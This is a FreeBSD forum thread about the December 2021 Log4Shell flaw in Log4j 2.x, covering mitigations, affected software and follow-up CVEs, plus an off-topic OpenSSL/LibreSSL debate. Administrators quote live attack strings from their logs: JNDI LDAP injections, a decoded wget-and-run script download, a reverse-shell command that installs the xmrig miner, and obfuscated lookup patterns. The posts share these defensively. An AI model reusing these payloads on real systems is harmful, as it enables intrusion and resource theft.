# critical vulnerability in devel log4j



## jb_fvwm2 (Dec 11, 2021)

reddit link, hacker news thread...


----------



## Tieks (Dec 11, 2021)

Already out there. From my http log: 
`45.137.21.9 - - [11/Dec/2021:03:42:17 +0100] "POST / HTTP/1.1" 301 230 "-" "${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}"`
Doesn't work in my case. That Base64 string decodes to "wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh".


----------



## mer (Dec 11, 2021)

Well, make sure  you read and understand the parameters of the CVE, if it's exposed to the big bad internet, see if you can turn it off.


----------



## Jose (Dec 11, 2021)

Tieks said:


> Already out there. From my http log:
> `45.137.21.9 - - [11/Dec/2021:03:42:17 +0100] "POST / HTTP/1.1" 301 230 "-" "${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}"`
> Doesn't work in my case. That Base64 string decodes to "wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh".


Yup. Exploit attempts were detected at Fastly just 82 minutes after the release of the proof-of-concept code. We got hit with that one too. It creates a cron job to execute that wget periodically.

The two mitigations are to add `-DformatMsgNoLookups=true` to your Java startup options or upgrade to Log4j2 ver 2.15. We did the first really quickly yesterday, and will be doing the second throughout next week.

Maybe Hardworkingnewbie is right after all.


----------



## mer (Dec 11, 2021)

Jose Tieks A question to me is:
What are you running that is exposing that to the Internet at large?

It appears to be a web server;  if so, one could say as a mitigation "do not expose a web server to the internet at large".

And Yes, I know that's impractical, just trying to get the scope of things (verify/make sure I understand the CVE).


----------



## Tieks (Dec 11, 2021)

mer said:


> What are you running that is exposing that to the Internet at large?


Indeed a web server, Apache here. You need to use Java API Java Naming and Directory Interface (JNDI) for this exploit to work.


----------



## mer (Dec 11, 2021)

Tieks  Thanks.  I'm not running anything Internet or internal facing, but my reading of the CVE led me to exactly this.  Is it LDAP only?


----------



## mark_j (Dec 11, 2021)

It's that JNDI service. It uses LDAP  but not only uses it, also it can deserialise a class, which leads to the exploit. Who woulda thought you'd get hacked this way! 
Just dumb.
More on serialisation is here.


----------



## msplsh (Dec 12, 2021)

One of the exploit methods I've seen causes the process to connect to a port on a remote machine and effectively open a shell.


----------



## Jose (Dec 12, 2021)

mer said:


> Jose Tieks A question to me is:
> What are you running that is exposing that to the Internet at large?
> 
> It appears to be a web server;  if so, one could say as a mitigation "do not expose a web server to the internet at large".


It doesn't have to be directly exposed. Even behind something like Nginx, setting the user-agent header to something like `${jndi:ldap://127.0.0.1/a}` can trigger the vulnerability if the back-end Java server logs the user-agent. This is a very common thing to do.


----------



## hruodr (Dec 12, 2021)

I have no idea of java, but I thought, it is difficult / impossible to get stack overflows with it. Are the programmers of log4j really so smart to get one?


----------



## reddy (Dec 12, 2021)

hruodr said:


> I have no idea of java, but I thought, it is difficult / impossible to get stack overflows with it. Are the programmers of log4j really so smart to get one?



From what I understand the problem is not that this vulnerability causes a crash that can be exploited, but rather that because it allows any arbitrary class to be deserialized, this opens the door to the execution of arbitrary remote code within the java process (the attacker just needs to create a specially crafted class - encoded as a string parameter - whose deserialization will lead the process to make a remote call or download some files). From what I've read attackers are currently crafting special classes whose "deserialization" set ups a cronjob downloading and executing a shell script....


----------



## msplsh (Dec 12, 2021)

You don't have to serialize the class, you can just point to the class on a remote server.


----------



## Jose (Dec 13, 2021)

hruodr said:


> I have no idea of java, but I thought, it is difficult / impossible to get stack overflows with it. Are the programmers of log4j really so smart to get one?


It's not a stack overflow (those are possible in Java, BTW.) The geniuses that wrote Log4j2 decided it would be a good idea to be able to use a remote class for formatting log messages. The class does have to be serialized.


----------



## SirDice (Dec 13, 2021)

Spent most of my morning trying to deal with an onset of panic among managers and directors. How's your day going?









						log4shell/software at main · NCSC-NL/log4shell
					

Operational information regarding the log4shell vulnerabilities in the Log4j logging library. - log4shell/software at main · NCSC-NL/log4shell




					github.com


----------



## SirDice (Dec 13, 2021)

devel/log4j isn't vulnerable. The bug is specific to the 2.x branch. That said, as the, still growing, list shows it is embedded in quite a large number of different applications.


----------



## Crivens (Dec 13, 2021)

Our cyber spooks are on it, so... run for the hills!

Btw, that is java, yes?


----------



## shkhln (Dec 13, 2021)

Jose said:


> It's not a stack overflow


Yes, this a Java equivalent of someone knowingly using eval on user input (I don't think downloading byte code counts as deserialization, by the way). Not unlike that infamous ElasticSearch issue.


----------



## SirDice (Dec 13, 2021)

Crivens said:


> Btw, that is java, yes?


It's a Java class, yes. But it's quite prevalent.


----------



## Dies_Irae (Dec 13, 2021)

SirDice said:


> Spent most of my morning trying to deal with an onset of panic among managers and directors. How's your day going?
> 
> 
> 
> ...


Quietly patching some applications, without telling anyone what I'm doing... 
Low profile, no panic, everyone happy


----------



## SirDice (Dec 13, 2021)

Dies_Irae said:


> no panic


Panic seems to mostly coming from managers, department heads and directors who watched the news during the weekend. Now everyone wants to know everything. And I'm just thinking, go ask SOC. It's what they're there for.


----------



## covacat (Dec 13, 2021)

if i understood correctly this bug is at least 4 years old, since ver 2.10
the myth of open source => more eyes => more secure busted again


----------



## SirDice (Dec 13, 2021)

covacat said:


> if i understood orrectly this bug is at least 4 years old, since ver 2.10
> the myth of open source => more eyes => more secure busted again


I still remember that BSD bug that was there for 34+ years


----------



## mer (Dec 13, 2021)

SirDice thanks for that link.  The list is "impressive".  I've seen similar intertwinning with Javascript, Node.js and other stuff.


----------



## SirDice (Dec 13, 2021)

mer said:


> @SirDice thanks for that link.


It's from the Dutch NCSC (National Cyber Security Center). They are continuously updating it.


----------



## mer (Dec 13, 2021)

covacat said:


> the myth of open source => more eyes => more secure busted again


See now I've never seen it as "equals" (more eyes equals more secure).  I've always taken it to be
"more eyes is potentially more secure".  Similar to crypto algorithms.
Of course in software, there must be eyes willing to look for the problem, they must be able to see the potential problem and most important, they need to be looking in the right  spot.


----------



## covacat (Dec 13, 2021)

word on the street is that german blackhats employed by redhat use this bug to install systemd on your boxes


----------



## SirDice (Dec 13, 2021)

covacat said:


> word on the street is that german blackhats employed by redhat use this bug to install systemd on your boxes


Resistance is futile. You will be assimilated by Poettering.


----------



## hruodr (Dec 13, 2021)

SirDice said:


> Resistance is futile. You will be assimilated by Poettering.


You mean resistance against the system (D)?


----------



## SirDice (Dec 13, 2021)

Systemd of a down? Rage against the systemd?


----------



## eternal_noob (Dec 13, 2021)

__





						The Best Songs With System in the Title
					

Have you ever thought about how many songs with system in the title have been written? This list ranks the best songs with system in the name, regardless of genre. Most of the tracks listed here are songs about systems, but almost all of them have different lyrical interpretations, despite the...




					www.ranker.com


----------



## msplsh (Dec 13, 2021)

Is this thread about one of the most serious vulnerabilities this year now derailed into off-topic land because of a grudge against an init system that the OS we're gathered here for doesn't even support?


----------



## mer (Dec 13, 2021)

Is systemd the forum equivalent of Godwins law?


----------



## SirDice (Dec 13, 2021)

msplsh said:


> Is this thread about one of the most serious vulnerabilities this year now derailed into off-topic land because of a grudge against an init system that the OS we're gathered here for doesn't even support?


Just some light-hearted bantering to break the tension. Humor works rather well in stressful situations.


----------



## eternal_noob (Dec 13, 2021)

Don't lose your sense of humour or you are lost.


----------



## SirDice (Dec 13, 2021)

eternal_noob said:


> Don't lose your sense of humour or you are lost.


Absolutely. 

In any case, this might be useful for someone: https://github.com/NorthwaveSecurity/log4jcheck


----------



## Jose (Dec 13, 2021)

covacat said:


> if i understood correctly this bug is at least 4 years old, since ver 2.10
> the myth of open source => more eyes => more secure busted again


It's way older than that. Introduced in Log4j 2.0. I can be a real bore and go on about the history of Java logging in the unlikely event that you're interested.


----------



## mer (Dec 13, 2021)

Jose said:


> It's way older than that. Introduced in Log4j 2.0. I can be a real bore and go on about the history of Java logging in the unlikely event that you're interested.


Hmm.  "Ask Jose about Java logging or go get some teeth pulled?  Tough decision"


----------



## Jose (Dec 13, 2021)

mer said:


> Hmm.  "Ask Jose about Java logging or go get some teeth pulled?  Tough decision"


Maybe you're having trouble sleeping? I can help!


----------



## jb_fvwm2 (Dec 13, 2021)

techsolvency.COM-huge-cheatsheet


----------



## Crivens (Dec 14, 2021)

mer said:


> Hmm.  "Ask Jose about Java logging or go get some teeth pulled?  Tough decision"


More like "I was run over by a logging truck and they need to fix up my n+1 broken bones without anestetics due to the pandemic. Using rusty spoons. I think the talk about java logging might numb my mind enough for that..."


----------



## mer (Dec 14, 2021)

Crivens said:


> More like "I was run over by a logging truck and they need to fix up my n+1 broken bones without anestetics due to the pandemic. Using rusty spoons. I think the talk about java logging might numb my mind enough for that..."


One thought:  Is the logging truck loaded with hardwoods or softwoods?  Big difference between oak and pine


----------



## VladiBG (Dec 14, 2021)

```
185.100.87.174 - - [14/Dec/2021:12:12:26 +0200] "GET /?a=%24%7Bjndi%3Aldap://193.3.19.159%3A53/c%7D HTTP/1.1" 200 290
```

It's time to add some more IPs to my FW  185.100.87.0/24

Those security companies keep probing the net for this exploit. 

```
45.83.66.109 - - [13/Dec/2021:06:33:59 +0200] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-https443%7D HTTP/1.1" 404 196
```


----------



## Crivens (Dec 14, 2021)

mer said:


> One thought:  Is the logging truck loaded with hardwoods or softwoods?  Big difference between oak and pine


Yes. 40 tons of oak hurt you with a lot more style than 40 tons of pine ..


----------



## rafael_grether (Dec 14, 2021)

Yes VladiBG, a lot of companies.

On my server:

GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1


----------



## noodlefling (Dec 14, 2021)

Just to be clear, is this really only an issue if the devel/log4j port is installed?  A vanilla apache install is fine?  Or is it buried somewhere inside a default apache install?

Is there a master list of affected ports?

Maybe I'm not looking at the problem correctly?


----------



## covacat (Dec 14, 2021)

devel/log4j is not vulnerable to this exploit (it is to others)
you need to have something based on java in the 1st place 
so just www/apache24 wont be vulnerable


----------



## Jose (Dec 14, 2021)

noodlefling said:


> Maybe I'm not looking at the problem correctly?


The Apache Web server is written in C and is not affected. Any Apache project written in Java may be affected. Any non-Apache project written in Java may be affected.



noodlefling said:


> Is there a master list of affected ports?











						critical vulnerability in devel log4j
					

the myth of open source => more eyes => more secure busted again  See now I've never seen it as "equals" (more eyes equals more secure).  I've always taken it to be "more eyes is potentially more secure".  Similar to crypto algorithms. Of course in software, there must be eyes willing to look...




					forums.FreeBSD.org


----------



## SirDice (Dec 14, 2021)

noodlefling said:


> Just to be clear, is this really only an issue if the devel/log4j port is installed?


No, not in this case. The issue is only with the 2.x versions of log4j. The version in ports is an old one, still 1.x. That's not vulnerable. 



noodlefling said:


> A vanilla apache install is fine? Or is it buried somewhere inside a default apache install?


www/apache24 is officially called Apache httpd. It is not affected by this (not a Java application). Apache creates more software besides httpd. 




Jose said:


> Any Apache project written in Java may be affected. Any non-Apache project written in Java may be affected.


Yes. I would say, any Java project may be affected. The vulnerable log4j 2.x version _could_ be embedded in some application without you being aware of it. The application must be written in Java (that log4j is a Java class) though.


----------



## noodlefling (Dec 14, 2021)

Thanks!  Luckily I have no idea what most of those affected packages are.

`pkg audit` is coming up with nothing, which is at least not bad news!


----------



## noodlefling (Dec 14, 2021)

SirDice said:


> No, not in this case. The issue is only with the 2.x versions of log4j. The version in ports is an old one, still 1.x. That's not vulnerable.
> 
> 
> www/apache24 is officially called Apache httpd. That has nothing to do with this. Apache creates more software besides httpd.
> ...


Thanks for the clarifications. I just thought Apache = httpd.

I guess there could be some nastiness in hosted user directories.  I'll check the logs.

Thanks much!


----------



## SirDice (Dec 14, 2021)

noodlefling said:


> I just thought Apache = httpd.


Understandable. The Apache httpd server was their first and oldest product. So the two became somewhat of a synonym.


----------



## noodlefling (Dec 14, 2021)

I see some of those "jndi:ldap" shenanigans in the logs.  They look like singular tests without followups from the same IP.

At the risk of revealing that I really am not properly processing this issue properly...should I be concerned about any LDAP-related ports on my server?

I don't see evidence of specific Java apps on the server.


----------



## Jose (Dec 14, 2021)

noodlefling said:


> I see some of those "jndi:ldap" shenanigans in the logs.  They look like singular tests without followups from the same IP.


Yes, there are hundreds of thousands of probes going on now.


noodlefling said:


> At the risk of revealing that I really am not properly processing this issue properly...should I be concerned about any LDAP-related ports on my server?


You could block outgoing connections to LDAP, but changing the LDAP port in the attack URL is trivial.


noodlefling said:


> I don't see evidence of specific Java apps on the server.


Do pkg(8) and ps(1) searches to make sure. You've got nothing to worry about if you're not running any Java applications or servers.


----------



## SirDice (Dec 14, 2021)

Not the best week to be an admin....

A high/high classed vulnerability on OpenSSL, as if this log4j debacle wasn't enough to keep you busy. I need some sleep too for crying out loud.



			CVE - CVE-2021-3450
		



			CVE - CVE-2021-3449
		


Edit: Pfew. Seems to be an older one. But got upgraded to high/high today. Should already be fixed on FreeBSD: https://www.freebsd.org/security/advisories/FreeBSD-SA-21:07.openssl.asc


----------



## noodlefling (Dec 14, 2021)

Jose said:


> You could block outgoing connections to LDAP, but changing the LDAP port in the attack URL is trivial.


In this instance, I meant "port" as in "package".  I have a couple of LDAP-related packages installed on the server.

But I don't see any Java packages.  A couple JavaScript things, but I suppose those are not relevant.


----------



## SirDice (Dec 14, 2021)

noodlefling said:


> A couple JavaScript things, but I suppose those are not relevant.


Java and javascript have, besides their name, nothing in common.


----------



## covacat (Dec 14, 2021)

SirDice said:


> Java and javascript have, besides their name, nothing in common.


bloat magnets


----------



## mark_j (Dec 14, 2021)

SirDice said:


> Not the best week to be an admin....
> 
> A high/high classed vulnerability on OpenSSL, as if this log4j debacle wasn't enough to keep you busy. I need some sleep too for crying out loud.
> 
> ...


This is a tautology, but, I don't know why "we" still use openssl, rather than libressl. Yet, I do know why "we" don't because openssl keeps changing the API to stop Libressl's adoption. But maybe that's just the cynic in me.


----------



## astyle (Dec 14, 2021)

Java seems to be logged to hell and back, save our tropics!


----------



## richardtoohey2 (Dec 14, 2021)

SirDice said:


> Not the best week to be an admin....
> 
> A high/high classed vulnerability on OpenSSL


But 1.1.1m HAS been released - but I can't find a detailed changelog so not sure if a minor release or security-orientated.

Think it's minor:
Major changes between OpenSSL 1.1.1l and OpenSSL 1.1.1m [14 Dec 2021]​
None


----------



## Menelkir (Dec 15, 2021)

NVD - CVE-2021-45046
					






					nvd.nist.gov


----------



## SirDice (Dec 15, 2021)

This one was interesting, tried to do a reverse shell. If you connected to the IP and port with nc(1) you received this:

```
uname -a;killall -9 xmrig;cd /tmp; wget https://github.com/xmrig/xmrig/releases/download/v6.5.3/xmrig-6.5.3-linux-static-x64.tar.gz;tar -xzvf xmrig-6.5.3-linux-static-x64.tar.gz;cd xmrig-6.5.3;rm -rf config.json;./xmrig --donate-level 1 -o bernais.axfor.com:80 -u jav2 -p jav2 -k -B
```
That xmrig is a crypto-miner.


----------



## SirDice (Dec 15, 2021)

Also watch out for obfuscation attempts, like `${jndi:${lower:l}${lower:d}${lower:a}${lower:p}:....` and `${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://...` and various other combinations.


----------



## mer (Dec 15, 2021)

A little more to add what Menelkir put in #62.  This has some mitigation stuff that may help









						Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) | LunaTrace
					

A quick update on the situation now that a new log4j CVE has been created and patched in 2.16.0. We've done research and these are our findings.




					www.lunasec.io


----------



## obsigna (Dec 15, 2021)

mark_j said:


> This is a tautology, but, I don't know why "we" still use openssl, rather than libressl. Yet, I do know why "we" don't because openssl keeps changing the API to stop Libressl's adoption. But maybe that's just the cynic in me.


Because since the beginning LibreSSL was announced and promoted like used car dealers promote a 40 years old Beetle as a semi-new 911. Not everyone takes claims made by used car dealers at face value. Just in the case FreeBSD would switch to LibreSSL in base, I will then switch to OpenSSL in the ports.


----------



## SirDice (Dec 15, 2021)

New information shows that even log4j 1.x might be vulnerable to some issues. Not to the same extend as 2.x but still.






						NVD - CVE-2021-4104
					






					nvd.nist.gov
				






> Note this issue only affects Log4j 1.2 when specifically configured to use JMSAppender, which is not the default. Apache Log4j 1.2 reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions.



As log4j 1.2 has been EoL for 5+ years it'll probably be a good idea to remove it from the ports tree. Only two ports seem to depend on it (databases/mysql-connector-java51 and net-p2p/vuze), both will be impacted and will need to be updated or also removed.


----------



## Jose (Dec 15, 2021)

obsigna said:


> Because since the beginning LibreSSL was announced and promoted like used car dealers promote a 40 years old Beetle as a semi-new 911. Not everyone takes claims made by used car dealers at face value. Just in the case FreeBSD would switch to LibreSSL in base, I will then switch to OpenSSL in the ports.


What are some specific problems in Libressl you take issue with?


----------



## obsigna (Dec 15, 2021)

Jose said:


> What are some specific problems in Libressl you take issue with?


Like many of us, I followed the launch of LibreSSL in the press. For example this one:








						OpenSSL code beyond repair, claims creator of “LibreSSL” fork
					

OpenBSD developers "removed half of the OpenSSL source tree in a week."




					arstechnica.com
				





> "Our group removed half of the OpenSSL source tree in a week. It was discarded leftovers," de Raadt told Ars in an e-mail. "The Open Source model depends [on] people being able to read the code. It depends on clarity. That is not a clear code base, because their community does not appear to care about clarity. Obviously, when such cruft builds up, there is a cultural gap. I did not make this decision... in our larger development group, it made itself."


Well, sounds reasonable, until you take the time and have a look into the OpenSSL code yourself. I found it clean and organized, and I could very well read and understand the parts which I opened - of course I did not do my own code review of everything. Actually, Theo wouldn’t have been able to proudly bragging they’d removed half of the source tree, if OpenSSL would have been that a huge code chaos.

That said, my issue with LibreSSL is not a technical one, my issue with LibreSSL can be subsumed in one word _„Unbelievable“_.


----------



## msplsh (Dec 15, 2021)




----------



## Jose (Dec 16, 2021)

obsigna said:


> Like many of us, I followed the launch of LibreSSL in the press. For example this one:
> 
> 
> 
> ...


Theo is not the only talented hacker who found the Openssl code unpleasant:




_View: https://www.youtube.com/watch?v=fwcl17Q0bpk&t=1703s_

Keep in mind that talk was given three months before Heartbleed was allegedly discovered.



obsigna said:


> Actually, Theo wouldn’t have been able to proudly bragging they’d removed half of the source tree, if OpenSSL would have been that a huge code chaos.


Well it had support for big-endian i386 and amd64. Weird and obsolete stuff like OS/2 and Openvms. Hacks to work with ancient, obsolete compilers like Visual C 1.52c. And the crown jewel of obstreperous programming, a custom memory allocator that broke memory debugging tools like Valgrind. I have no trouble believing they removed 90k lines of code.



obsigna said:


> That said, my issue with LibreSSL is not a technical one, my issue with LibreSSL can be subsumed in one word _„Unbelievable“_.


And in any case, I trust results more than beliefs:





						Openbsd Libressl : List of security vulnerabilities
					

Security vulnerabilities of Openbsd Libressl : List of all related CVE security vulnerabilities. 			CVSS Scores, vulnerability details and links to full CVE details and references.



					www.cvedetails.com
				








						Openssl : Security vulnerabilities
					

Security vulnerabilities related to Openssl : List of vulnerabilities 			related to any product of this vendor. Cvss scores, vulnerability details and links to full CVE details and references



					www.cvedetails.com


----------



## obsigna (Dec 16, 2021)

Jose said:


> ... And the crown jewel of obstreperous programming, a custom memory allocator that broke memory debugging tools like Valgrind. ...


For all my projects I user a custom wrapper to the systems memory allocator, because the system ones got its limit. For example you cannot easily tell free() to clean the memory before releasing it. This is of major importance in tools like OpenSSL, and if you want to make sure that everybody uses the deallocate() function wich does cleaning the memory before freeing, then building your own one is not that a bad of an idea.

Well, I choose the wrapper path, which besides said clean before release, adds fencing and integrity validation before release, and pointer zeroing after release, and takes the release of realloc() after fail to a really secure level, and on top of that a handy feature of counting the total memory allocations/deallocation in the course of the execution. And all my code in debug mode exits with the message „no memory leaked“. Or if there is a failure, then the amount of memory that was leaked is reported, and this becomes fixed then of course.

If you are working alone on small projects, then you can add all this security related features by employing sort of your own coding standards around malloc(), realloc() and free(), but I would not trust even myself to allways add the right steps in the right sequence, to achieve what is needed. Let alone a group of open source enthusiast adding their own design patterns to your projects.

So, yes the systems memory allocation routines are lacking important security features, and you either built a wrapper around it like I did, or you just build your own. Note, I am targeting FreeBSD and macOS only, so the wrapper path seemed to be more feasible for me. If you need to target a bunch of other OS’s as well, then perhaps it is really better to built your own memory allocator. Valgrind, phhh...


Jose said:


> ... I have no trouble believing they removed 90k lines of code. ...


I have no difficulties to believe this either. I don’t believe the Milkmaid's bill, alike 90k less code adds 90 times better security. I will stay with OpenSSL, that’s it.

Conclusions:

Who wants to use LibreSSL, please go ahead, I won’t have any objections against this, I even won’t argue.


I won’t even complain, if FreeBSD would switch to LibreSSL in the base, if they want to, please do it.


In order to install OpenSSL, I won’t need a port. For example, on macOS I simply run the respective Configure/make combo which comes with the OpenSSL sources.


I don’t have any problems with LibreSSL now and for sure I won’t have any in the future either.


----------



## mer (Dec 16, 2021)

How long has the OpenSSL codebase been around?  Support for OS/2, OpenVMS, Visual C1.5c indicates "quite a long time".  Anyone that has worked on software knows that once in a while, the code really should be gone over hard to see what can get thrown away.  I find it difficult sometimes following a codebase that has sections of code wrapped by too many #ifdef #else #else #endif, so getting rid of things no longer needed is not a bad thing.
That's why we have tools like GIT, SVN, CVS or whatever you want to use.

Wrappers/custom memory allocators:
Most of the time they aren't needed, but sometimes they are.  Libraries that allocate memory need to make sure it gets freed, even if it's just clearly documenting to the user "YOU MUST CALL THE DEALLOCATE ON THIS OBJECT".  Of course getting users to read and follow the documentation is not a trivial task.


----------



## Jose (Dec 16, 2021)

obsigna said:


> For all my projects I user a custom wrapper to the systems memory allocator... (snip a lot of valid reasons for using memory wrappers)


The Openssl wrapper didn't exist for any of those reasons. It was added because some malloc somewhere was "slow" at some point likely in the '90s.



obsigna said:


> Or if there is a failure, then the amount of memory that was leaked is reported, and this becomes fixed then of course.


Not only did the Openssl wrapper not do this, it made it impossible to use other tools to find this kind of problem.


----------



## msplsh (Dec 16, 2021)

SirDice said:


> Just some light-hearted bantering to break the tension. Humor works rather well in stressful situations.


Or an opportunity to derail it into complaining about an unrelated package.


----------



## mark_j (Dec 17, 2021)

Jose said:


> Well it had support for big-endian i386 and amd64. Weird and obsolete stuff like OS/2 and Openvms. Hacks to work with ancient, obsolete compilers like Visual C



And OpenVMS has its own SSL stuff and doesn't use OpenSSL anyway (though you can use a 'port' of it). 
That's why that OS and its 'products' weren't susceptible to heartbleed.
Removing this code makes for a lot less #ifdefs and more readable code.


----------



## obsigna (Dec 17, 2021)

mark_j said:


> And OpenVMS has its own SSL stuff and doesn't use OpenSSL anyway (though you can use a 'port' of it).
> That's why that OS and its 'products' weren't susceptible to heartbleed.
> Removing this code makes for a lot less #ifdefs and more readable code.


There are always more than one points of view to most subjects, here:

LibreSSL and peanut fans are are already annoyed -- I can’t care less


From an application programmer’s point of view, it is a unique selling point of OpenSSL when it comes to targeting more than one OS. I target FreeBSD and macOS using OpenSSL, and on this side without any #ifdefs. macOS comes also with it’s own TLS stuff, and so I guess this might become subject of a future rant of Theo. I won’t held my breath, since with OpenSSL, I can’t care less.


From the OS maintainers point of view, you want to reduce the maintenance efforts, of course. Now FreeBSD choose not to implement its own TLS stuff, but rely on third party contributions. From the FreeBSD point of view it doesn’t matter, whether OpenSSL supports OS/2 and VMS, and tons of others as well, as long as it works fine with FreeBSD. And anyway it got „Free“ in the name, so users are yet free to use other stuff to their liking.


Now, the user's point of view is not my problem, and I am usually very hesitant to let others making their problems with some stuff to be mine.
PS: As long as you target big endian systems anyway, like e.g. the Power architecture, from a maintenance point of view it doesn’t matter if you add a few more to the list of big endian’s. I know what I am talking about, since some of my software have roots when Mac OS X came with big endian PowerPC’s, and I got a lot of electrochemical measurement files, where data values were stored in the natural big endian sequence and which can be still processed by the latest versions of my software. Natural, because for example a 128bit PPC long double appears in the hex editor in the natural reading from left to right. Anyway, all the endianes stuff can be handled almost transparently to the rest of the application  by one well designed include file.


----------



## SirDice (Dec 17, 2021)

Me posting about the issues with OpenSSL that surfaced was in the context of having to do even more updates besides the already huge mountain of work due to the log4j issue. It wasn't an incentive to discuss the pros and cons of LibreSSL vs. OpenSSL.


----------



## hardworkingnewbie (Dec 17, 2021)

Kristian Köhntopp, a well renowned computer scientiest and author in Germany, wrote a comment about the log4j issue on Heise Online. It can be found here, it's in German only: https://www.heise.de/meinung/Kommentar-zu-log4j-Es-funktioniert-wie-spezifiziert-6294476.html

Köhntopp argues that the exploit is not a bug, because what's being exploited here is Java working as specified: loading code fragments during runtime from places all over the globe, and putting them together. He also mentions that there was a piece in Oracle Java available called Oracle SM for Security Manager, whose sole purpose was to restrict from where pulling code was allowed. Since nobody wanted it, it became deprecated though in Java 17 and will be later removed somewhere. 

So to sum it up: Java is doing what it is intended to do. Aside that it's a big, fat cluster fuck.


----------



## SirDice (Dec 17, 2021)

Can you link the article? Doesn't matter if it's in German, those of us who cannot read German can use a translator to read it. The more information we have the better.


----------



## hardworkingnewbie (Dec 17, 2021)

It's already linked above, so here's the link again: https://www.heise.de/meinung/Kommentar-zu-log4j-Es-funktioniert-wie-spezifiziert-6294476.html

Translated into English using Google: https://www-heise-de.translate.goog...6.html?_x_tr_sl=de&_x_tr_tl=en&_x_tr_hl=en-US


----------



## Jose (Dec 17, 2021)

Being a fan or not has nothing to do with it. The fact is Libressl has had far fewer known vulnerabilities than Openssl, yet support for the former is waning across all platforms except Openbsd. Having basically the entire open source ecosystem depend on a single cryptography library is dangerous, just like PHK warned. He was prescient, but seven years later here we are once again depending almost exclusively on a single library that keeps having problems.

There's no indication that "Theo" or anyone else plans to drop support for Mac OS in Libressl portable. Or that anyone is recommending that support for any of the big-endian platforms they support be dropped. Suggesting such is purely spreading FUD.

I thought that big-endian x86 would be obviously obscene, but I guess I'll have to spell it out. There never was such a thing. All Intel x86 chips and their clones were and are little-endian. This bizarro-land "platform" was added to Openssl because someone paid the for-profit company that owns the copyrights and maintains the code to add it. I don't want to be saddled with the oodles of code and latent bugs that can be added by this process.

Moderators: It would be cool with me to move the Open/Libressl posts to this thread if you like:








						Slouching towards a cryptography monoculture
					

I'm saddened and disappointed by the current trend of jettisoning support for Libressl. https://voidlinux.org/news/2021/02/OpenSSL.html https://www.gentoo.org/support/news-items/2021-01-05-libressl-support-discontinued.html https://www.python.org/dev/peps/pep-0644/#libressl-support  I'm puzzled...




					forums.freebsd.org


----------



## msplsh (Dec 17, 2021)

SirDice said:


> It wasn't an incentive to discuss the pros and cons of LibreSSL vs. OpenSSL.


 Have you seen what happens when you utter "systemd" here?


----------



## msplsh (Dec 17, 2021)

Anyway, there's a new CVE-2021-45046 that was previously though of as only a DoS (in some databases, still shows as a low "score") but is actually an RCE (higher score) and now updating to 2.16.0 that removes the patterns and removes JNDI by default is the solution.

So if you updated, time to do it again.


----------



## hardworkingnewbie (Dec 18, 2021)

Jose said:


> Being a fan or not has nothing to do with it. The fact is Libressl has had far fewer known vulnerabilities than Openssl, yet support for the former is waning across all platforms except Openbsd. Having basically the entire open source ecosystem depend on a single cryptography library is dangerous, just like PHK warned. He was prescient, but seven years later here we are once again depending almost exclusively on a single library that keeps having problems.


There are still enough alternatives to OpenSSL around. What happened is that

a) LibreSSL never really delivered up to its promises aside security claims,
b) OpenSSL in the mean time catched up on speed, as well as new features and
c) LibreSSL is slow on adopting new features, if all it lags behind OpenSSL in that regard, which makes it not really a dropin replacement as promised in the beginning,
d) speed:  LibreSSL has nowadays the reputation of being much slower than OpenSSL.

Also in general there are not many developers around with the knowledge to work on cryptographical libraries, since the smallest deviation from the algorithm might cause big trouble. This is why this special area of programming itself already has quite a small pool of potential developers per se, making the one thing to rule them all stuff even more likely to happen.


----------



## Jose (Dec 18, 2021)

Really should take this to a different thread, but whatever.


hardworkingnewbie said:


> a) LibreSSL never really delivered up to its promises aside security claims,


What promises did it not deliver on?



hardworkingnewbie said:


> b) OpenSSL in the mean time catched up on speed, as well as new features and


Libressl added new cipher suites not available in Openssl in its very first release.



hardworkingnewbie said:


> c) LibreSSL is slow on adopting new features, if all it lags behind OpenSSL in that regard, which makes it not really a dropin replacement as promised in the beginning,


The Openssl project has taken to implementing draft standards. I question the wisdom of doing such in critical cryptographic software.








						Add support for TLS 1.3 · Issue #228 · libressl-portable/portable
					

Will LibreSSL wait for OpenSSL to add TLS 1.3 support? openssl/openssl#963




					github.com
				




The Heartbleed bug was introduced in a poor implementation of a "heartbeats" feature nobody used. The fix was simple. The feature was removed and no one missed it. More code means more bugs. I prefer Libressl's conservative approach:


> (W)e find empirical evidence that larger code changes produce more vulnerabilities. In OpenSSL specifically, we find a lower bound of 1 vulnerability introduced for every thousand lines of code. Our case study of the LibreSSL and BoringSSL forks further demonstrates a linear correspondence between source code removal and vulnerability removal. Our findings support the common intuition that it is dangerous to maintain excess amounts of C or C++ source code, and particularly so in cryptographic software.





			https://arxiv.org/pdf/2107.04940.pdf
		




hardworkingnewbie said:


> Also in general there are not many developers around with the knowledge to work on cryptographical libraries, since the smallest deviation from the algorithm might cause big trouble. This is why this special area of programming itself already has quite a small pool of potential developers per se, making the one thing to rule them all stuff even more likely to happen.


This is a common talking point used to whine about how hard it is to support Libressl. You don't have to be a cryptography expert to use either Openssl or Libressl. The crypto implementations are written by cryptographers, and are isolated from the standard library API code.


----------



## msplsh (Dec 20, 2021)

Hi, there's a third Log4J CVE-2021-45105 and patched version 2.17.0 due to insufficient recursive protection.  Also there's a worm out now.

Roughly 20% of the posts in here belong in off topic.  Good work everyone.


----------



## Jose (Dec 20, 2021)

msplsh said:


> Hi, there's a third Log4J CVE-2021-45105 and patched version 2.17.0 due to insufficient recursive protection.  Also there's a worm out now.


Not surprised. They decided loading code over the network and executing it was a good idea. Chances the rest of the code is crap are high. Besides, they're in crisis mode now. I expect another 2-3 versions by the end of the week.

Some good may come of this. Hopefully people will look at Logback if they really need fancy logging, and just use Java Logging otherwise.

Apache Log4j deserves to die a horrible death.


----------



## Crivens (Dec 21, 2021)

